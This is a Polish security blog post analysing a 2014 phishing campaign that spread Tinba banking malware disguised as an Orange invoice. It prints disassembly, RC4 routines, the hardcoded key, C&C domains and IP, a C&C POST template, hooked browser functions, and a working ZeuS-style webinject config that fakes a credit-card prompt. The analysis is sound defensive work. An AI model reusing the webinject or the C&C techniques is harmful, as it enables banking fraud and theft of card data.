wtorek, 22 lipca 2014

Faktura Orange z 11 lipca 2014 roku z załączonym złośliwym oprogramowaniem



W dniu 11 lipca 2014 zarejestrowaliśmy kolejną kampanię polegającą na rozsyłaniu złośliwego oprogramowania nakierowanego na bankowość internetową. Tym raz atak skierowany jest na polskich użytkowników. Jak można zauważyć poniżej, treść wiadomości jest w języku polskim i dotyczy faktury z Telekomunikacji Polskiej za czerwiec 2014. 

Były też rozsyłane wiadomości o innej treści oraz zawierające nieznacznie zmodyfikowaną wersję złośliwego oprogramowania.

Łatwo zauważyć (dla osób które co miesiąc otrzymują faktury z firmy Orange), że nie jest to typowa wiadomość z fakturą. Dla bardziej spostrzegawczych: Firma Orange do grudnia 2013 wykorzystywała adres e-faktura.TP@orange.com ale od stycznia 2014 już e-fakturaF@orange.com.
Niemniej złośliwe oprogramowanie dołączone jest do wiadomości. Treść wiadomości i nazwa załącznika sugerują, że jest to dokument w formacie PDF. W rzeczywistości jest to plik wykonywalny o rozszerzeniu pif.

File: DKT_Faktura_indywidualna_2014_07_11_R.pdf.pif
Size: 102400
MD5:  DA9330AA6D275BA28954B88ECF27DEDB

Plik wykonywalny jest dodatkowo zabezpieczony, przez co ujawniana jest niewielka ilość ciągów znaków prawdziwego pliku wykonywalnego.

Po uruchomieniu kod programu „pakującego” sprawdza, czy przypadkiem nie jest uruchamiany pod systemem operacyjnym kontrolowanym przez oprogramowanie VMWare lub VBOX oraz czy nie jest analizowany przez inny system typu sandbox bazujący na bibliotece SBIEDLL.DLL (np. Sandboxie).

Poniżej fragment pamięci malware. Złośliwe oprogramowanie za pomocą API CreateToolhelp32Snapshot, Process32First oraz Process32Next identyfikuje „podejrzane” procesy i malware kończy działanie. 
Zauważyliśmy ponadto, że złośliwe oprogramowanie nie działa prawidło na systemach operacyjnych Windows XP z SP1 oraz SP3 (nie wywołuje prawidłowo funkcji API RegOpenKey).

Gdy wirtualne środowisko nie zostanie wykryte, malware tworzy nowy proces, kopiuje do przestrzeni adresowej „odpakowany” kod i wykonuje właściwy kod odpowiedzialny za infekcję stacji roboczej. Sekwencja wywołań API jest następująca (typowa dla złośliwego oprogramowania):


  • GetModuleFileNameW, 0x1, hProcess:0x774
  • CreateProcessW, 0x1, lpApplicationName:
  • ReadProcessMemory, 0x1, hProcess:0x774
  • WriteProcessMemory, 0x1, hProcess:0x774
  • GetThreadContext, 0x1
  • SetThreadContext, 0x1, lpContext->Eip:0x40487c
  • ResumeThread, 0x1, hThread:0x770

Stary proces kończy działanie a nowy zaczyna od wywołania funkcji Sleep. Następnie pobierana jest zmienna %APPDATA% i w katalogu domowym użytkownika tworzony jest katalog AdobeChk a w nim plik chk.exe.  Jest to kopia pliku pif.

.text:00401EE1 call    dword ptr [ebx+401560h]             ; funkcja CreateDirectory -> AdobeChk
.text:00401EE7 push    1
.text:00401EE9 lea     eax, [ebp-20Ch]
.text:00401EEF push    eax                                          ; chk.exe
.text:00401EF0 lea     eax, dword_4012B4[ebx]
.text:00401EF6 push    eax                             ; DKT_Faktura_indywidualna_2014_07_11_R.pdf.pif
.text:00401EF7 call    dword ptr [ebx+401580h]             ; funkcja MoveFileExA

Następnie tworzony jest klucz rejestru o nazwie AdobeChk. To zapewnia, że malware będzie uruchamiany przy ponownym logowaniu użytkownika.


Złośliwe oprogramowanie ma zaimplementowany algorytm RC4 (szyfr strumieniowy), który używany jest do szyfrowania/odszyfrowywania fragmentów konfiguracji oraz komunikacji z serwerem C&C.
Poniżej fragment kodu odpowiedzialnego za szyfrowanie danych:

.text:00401BF2 call    eax                                             ; funkcja RC4SetKey
.text:00401BF4 mov     esi, [ebp+8]
.text:00401BF7 lodsd
.text:00401BF8 push    eax                                           ; długość danych do zaszyfrowania
.text:00401BF9 push    esi                                                        ; dane do zaszyfrowania
.text:00401BFA lea     eax, [ebp-100h]
.text:00401C00 push    eax                                           ; zainicjalizowany klucz
.text:00401C01 lea     eax, dword_401C64[ebx]
.text:00401C07 call    eax                                             ; funkcja RC4Crypt

RC4 generuje strumień szyfrujący/odszyfrowujący za pomocą funkcji RC4SetKey. Jako parametr wejściowy podawany jest tajny klucz, który w przypadku analizowanego malware to: wer8c7ygbw485ghw.


Cała zawartość funkcji RC4SetKey (Crypt\rc4.inc):

RC4SetKey proc lpKeyTable, lpPass, nPass : dword
            pushad
            mov  edi, lpKeyTable
            xor  ecx, ecx
@@:    mov  [edi + ecx], cl                  ;utworzenie tablicy liczb
            inc  ecx
            cmp  ecx, 256                          ;do 256 elementów      
            jne  @B
            mov  esi, lpPass                      ;klucz tajny przeniesiony do ESI
            xor  ebx, ebx
            xor  ecx, ecx
            xor  edx, edx
@@:    mov  al, [edi + ecx]
            add  bl, [esi + edx]
            add  bl, al
            mov  ah, [edi + ebx]
            mov  [edi + ecx], ah
            mov  [edi + ebx], al
            inc  ecx
            cmp  ecx, 256
            je   @F
            inc  edx
            cmp  edx, nPass
            jl   @B
            xor  edx, edx
            jmp  @B
@@:    popad
            ret
RC4SetKey endp

Następnie wywoływana jest funkcja RC4Crypt. W celu zaszyfrowania wykonywana jest operacja XOR na tekście oryginalnym i strumieniu szyfrującym. Dla przykładu inicjalizująca wiadomość EHLO przesyłana przez malware do serwera po zaszyfrowany będzie miała postać:


Poniżej funkcja RC4Crypt  odtworzona z malware za pomocą debugger-a:

.text:00401C64 push    ebp
.text:00401C65 mov     ebp, esp
.text:00401C67 pusha
.text:00401C68 mov     edi, [ebp+8]
.text:00401C6B mov     esi, [ebp+0Ch]
.text:00401C6E xor     eax, eax
.text:00401C70 xor     ebx, ebx
.text:00401C72 xor     ecx, ecx
.text:00401C74 xor     edx, edx
.text:00401C76 loc_401C76:                             ; CODE XREF: .text:00401C91j
.text:00401C76 inc     bl
.text:00401C78 mov     dl, [edi+ebx]
.text:00401C7B add     al, dl
.text:00401C7D mov     cl, [edi+eax]
.text:00401C80 mov     [edi+ebx], cl
.text:00401C83 mov     [edi+eax], dl
.text:00401C86 add     cl, dl
.text:00401C88 mov     cl, [edi+ecx]
.text:00401C8B xor     [esi], cl                       ; Operacja XOR na tekście i strumieniu szyfrującym
.text:00401C8D inc     esi
.text:00401C8E dec     dword ptr [ebp+10h]
.text:00401C91 jnz     short loc_401C76
.text:00401C93 popa
.text:00401C94 leave
.text:00401C95 retn    0Ch

Za pomocą samej instrukcji XOR zakodowane są również nazwy domenowe serwerów C&C. Malware próbuje łączyć się na hosty o nazwach:

·         framesoutchk.ru – IP: 91.237.198.54
·         plsecdirect.ru – IP: 91.237.198.54

Poniżej fragment kodu odkodowującego nazwy domenowe:


 W chwili wykonywania analizy strona z którą złośliwe oprogramowanie komunikuje się nie była aktywna. Poniżej zawartość „szablonu” wiadomości POST:

POST /re/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Host: framesoutchk.ru lub plsecdirect.ru
Content-Length:
Connection: Close
Cache-Control: no-cache

Wysyłanie komunikatu EHLO zwracało błąd 403. Niemniej na podstawie analizy można stwierdzić, że malware, który był rozsyłany nosi nazwę Tiny Banker (nazywany również Tinba). Jest to złośliwe oprogramowanie, które używane jest do wyłudzania numerów kart kredytowych czy danych do logowania w aplikacjach www jak bankowość internetowa.

Na początku lipca 2014 kod źródłowy wersji 1.0 wyciekł do sieci Internet.  Poniżej zawartość katalogu z kodem źródłowym:


Jest to wersja z 2012 roku ale część kodu nie została zmieniona. Na podstawie analizowanej wersji pliku DKT_Faktura_indywidualna_2014_07_11_R.pdf.pif można stwierdzić, że malware infekuje 4 przeglądarki internetowe:


  • iexplore.exe
  • firefox.exe
  • maxthon.exe
  • chrome.exe

Przechwytywane są funkcje (metodą inline hooking) dwóch bibliotek: wininet oraz nspr4. Są to następujące funkcje:

  • HttpQueryInfoA
  • InternetCloseHandle
  • HttpSendRequestA
  • HttpSendRequestW
  • InternetQueryDataAvailable
  • InternetReadFile
  • InternetReadFileExA
  • HttpSendRequestExW
  • InternetWriteFile
  • HttpEndRequest
  • PR_Write
  • PR_Read
  • PR_Close

Tinba pobiera konfigurację z serwera i zapisuje ją w zaszyfrowanych RC4 plikach dat. Poniżej lista wszystkich plików, które może utworzyć malware korzystając ze zmiennej %APPDATA%: bck.dat, ret.exe, cot.dat, cof.dat.

Zawartość pliku konfiguracyjnego przypomina budową konfigurację złośliwego oprogramowania ZEUS/ZBOT. Intruz może manipulować zawartością wyświetlanej użytkownikowi strony. Poniżej działający przykład, który wstrzykuje odpowiednio przygotowany kod.

set_url http://prevenitybank.edu/login* GP
data_before
<input type="submit" value="Submit">
data_end
data_inject
<script type="text/javascript">alert("Uwaga prosimy o podanie numeru karty kredytowej");</script>
<form name="myForm">
Numer karty kredytowej:<input type="text" name="ccnumber">
</form>
data_end
data_after
data_end


Źródła:
[2] TrendMicro Dokument: W32.Tinba (Tinybanker) The Turkish Incident.